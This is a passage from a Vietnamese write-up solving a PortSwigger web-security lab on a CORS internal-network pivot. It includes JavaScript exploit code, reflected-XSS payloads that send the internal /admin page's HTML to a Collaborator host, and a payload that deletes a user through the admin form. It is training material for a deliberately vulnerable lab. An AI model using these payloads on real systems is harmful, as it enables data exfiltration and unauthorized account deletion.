<link href=/resources/css/labs.css rel=stylesheet>
<title>CORS vulnerability with internal network pivot attack</title>
</head>
<body>
<script src="/resources/labheader/js/labHeader.js"></script>
<div id="academyLabHeader">
<section class='academyLabBanner'>
<div class=container>
<div class=logo></div>
<div class=title-container>
<h2>CORS vulnerability with internal network pivot attack</h2>
<a id='exploit-link' class='button' target='_blank' href='http://exploit-0ace00ad041d84a8819b42fd014200a7.exploit-server.net'>Go to exploit server</a>
<a class=link-back href='https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack'>
Back to lab description
<svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
<g>
<polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
<polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
</g>
</svg>
</a>
</div>
<div class='widgetcontainer-lab-status is-notsolved'>
<span>LAB</span>
<p>Not solved</p>
<span class=lab-status-icon></span>
</div>
</div>
</div>
</section>
</div>
<div theme="">
<section class="maincontainer">
<div class="container is-page">
<header class="navigation-header">
<section class="top-links">
<a href=/>Home</a><p>|</p>
<a href="/my-account">My account</a><p>|</p>
</section>
</header>
<header class="notification-header">
</header>
<h1>Login</h1>
<section>
<form class=login-form method=POST action="/login">
<input required type="hidden" name="csrf" value="F2W45cip7I3mVURzRTfmjt8V07PuucEp">
<label>Username</label>
<input required type=username name="username" autofocus>
<label>Password</label>
<input required type=password name="password">
<button class=button type=submit> Log in </button>
</form>
</section>
</div>
</section>
<div class="footer-wrapper">
</div>
</div>
</body>
</html>
&1713801873847 HTTP/1.1
Host: p4uyl33n3as71hf5xpf6wt6e65cw0rog.oastify.com
Connection: keep-alive
sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Linux"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
Accept: text/html,application/xhtml xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-Dest: document
Referer: http://exploit-0ace00ad041d84a8819b42fd014200a7.exploit-server.net/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Có thể thấy, ta đã biết được IP của server nội bộ là 192.168.0.169
cũng như là response mà nó trả về:
<!DOCTYPE html>
<html>
<head>
<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
<link href=/resources/css/labs.css rel=stylesheet>
<title>CORS vulnerability with internal network pivot attack</title>
</head>
<body>
<script src="/resources/labheader/js/labHeader.js"></script>
<div id="academyLabHeader">
<section class='academyLabBanner'>
<div class=container>
<div class=logo></div>
<div class=title-container>
<h2>CORS vulnerability with internal network pivot attack</h2>
<a id='exploit-link' class='button' target='_blank' href='http://exploit-0ace00ad041d84a8819b42fd014200a7.exploit-server.net'>Go to exploit server</a>
<a class=link-back href='https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack'>
Back to lab description
<svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
<g>
<polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
<polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
</g>
</svg>
</a>
</div>
<div class='widgetcontainer-lab-status is-notsolved'>
<span>LAB</span>
<p>Not solved</p>
<span class=lab-status-icon></span>
</div>
</div>
</div>
</section>
</div>
<div theme="">
<section class="maincontainer">
<div class="container is-page">
<header class="navigation-header">
<section class="top-links">
<a href=/>Home</a><p>|</p>
<a href="/my-account">My account</a><p>|</p>
</section>
</header>
<header class="notification-header">
</header>
<h1>Login</h1>
<section>
<form class=login-form method=POST action="/login">
<input required type="hidden" name="csrf" value="F2W45cip7I3mVURzRTfmjt8V07PuucEp">
<label>Username</label>
<input required type=username name="username" autofocus>
<label>Password</label>
<input required type=password name="password">
<button class=button type=submit> Log in </button>
</form>
</section>
</div>
</section>
<div class="footer-wrapper">
</div>
</div>
</body>
</html>
Ta sẽ thử thực hiện XSS attack vào trường username
của form đăng nhập nhằm lấy CSRF token:
<script>
function xss(url, text, vector) {
location = url + '/login?username='+encodeURIComponent(vector);
}
function fetchUrl(url, collaboratorURL){
fetch(url).then(r => r.text().then(text => {
xss(url, text, '"><img src='+collaboratorURL+'?foundXSS=1>');
}))
}
fetchUrl("http://$ip", "http://$collaboratorPayload");
</script>
Giải thích đoạn code trên:
- Hàm
fetchUrl
thực hiện gửi request đến server nội bộ. Sau khi có response thì nó sẽ gọi hàmxss
để chuyển hướng đến trang đăng nhập và chèn payload vào trườngusername
. - Payload bao gồm dấu nháy kép để đóng thuộc tính
value
và một thẻ<img>
cósrc
là URL của Collaborator server với query paramfoundXSS
.
Có request sau gửi đến Collaborator:
GET /?foundXSS=1 HTTP/1.1
Host: 6iptq39q4l2or4s0721sc5u2htnkbazz.oastify.com
Connection: keep-alive
sec-ch-ua: "Google Chrome";v="119", "Chromium";v="119", "Not?A_Brand";v="24"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Victim) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36
sec-ch-ua-platform: "Linux"
Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: image
Referer: http://192.168.0.169:8080/
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Request này cho thấy ta có thể tấn công XSS.
Thay payload ở trong exploit trên bằng payload sau:
"><iframe src=/admin onload="new Image().src=\''+collaboratorURL+'?code=\'+encodeURIComponent(this.contentWindow.document.body.innerHTML)">
Payload này nhúng một iframe đến endpoint /admin
và gửi request đến Collaborator kèm theo HTML của endpoint /admin
.
Request đến Collaborator cho ta biết mã nguồn trang /admin
là:
<script src="/resources/labheader/js/labHeader.js"></script>
<div id="academyLabHeader">
<section class="academyLabBanner">
<div class="container">
<div class="logo"></div>
<div class="title-container">
<h2>CORS vulnerability with internal network pivot attack</h2>
<a id="exploit-link" class="button" target="_blank" href="http://exploit-0ace00ad041d84a8819b42fd014200a7.exploit-server.net">Go to exploit server</a>
<a class="link-back" href="https://portswigger.net/web-security/cors/lab-internal-network-pivot-attack">
Back to lab description
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" viewBox="0 0 28 30" enable-background="new 0 0 28 30" xml:space="preserve" title="back-arrow">
<g>
<polygon points="1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15"></polygon>
<polygon points="14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15"></polygon>
</g>
</svg>
</a>
</div>
<div class="widgetcontainer-lab-status is-notsolved">
<span>LAB</span>
<p>Not solved</p>
<span class="lab-status-icon"></span>
</div>
</div>
</section></div>
<div theme="">
<section class="maincontainer">
<div class="container is-page">
<header class="navigation-header">
<section class="top-links">
<a href="/">Home</a><p>|</p>
<a href="/admin">Admin panel</a><p>|</p>
<a href="/my-account?id=administrator">My account</a><p>|</p>
</section>
</header>
<header class="notification-header">
</header>
<form style="margin-top: 1em" class="login-form" action="/admin/delete" method="POST">
<input required="" type="hidden" name="csrf" value="JyYjVv0gAvzl5DhscgcxrzAqS0p46yq2">
<label>Username</label>
<input required="" type="text" name="username">
<button class="button" type="submit">Delete user</button>
</form>
</div>
</section>
<div class="footer-wrapper">
</div>
</div>
Có thể thấy, để xóa người dùng thì ta cần gửi một POST request đến endpoint /admin/delete
kèm theo username
và CSRF token.
Xây dựng payload như sau để gửi POST request:
"><iframe src=/admin onload="var f=this.contentWindow.document.forms[0];if(f.username)f.username.value=\'carlos\',f.submit()">
Thế payload này vào exploit ở trên và chuyển giao cho nạn nhân để xóa người dùng carlos
.
Related
list
from outgoing([[Port Swigger - Vulnerabilities Arising From CORS Configuration Issues]])
sort file.ctime asc
Resources
Footnotes
-
một cross-origin request có thể là same-site request nếu như server và client có cùng domain nhưng khác subdomain. ↩
-
là cửa sổ duyệt web cha mà có các cửa sổ con được nhúng vào (iframe) hoặc được mở ra (pop-up). Tham khảo thêm https://github.com/whatwg/html/issues/2322 ↩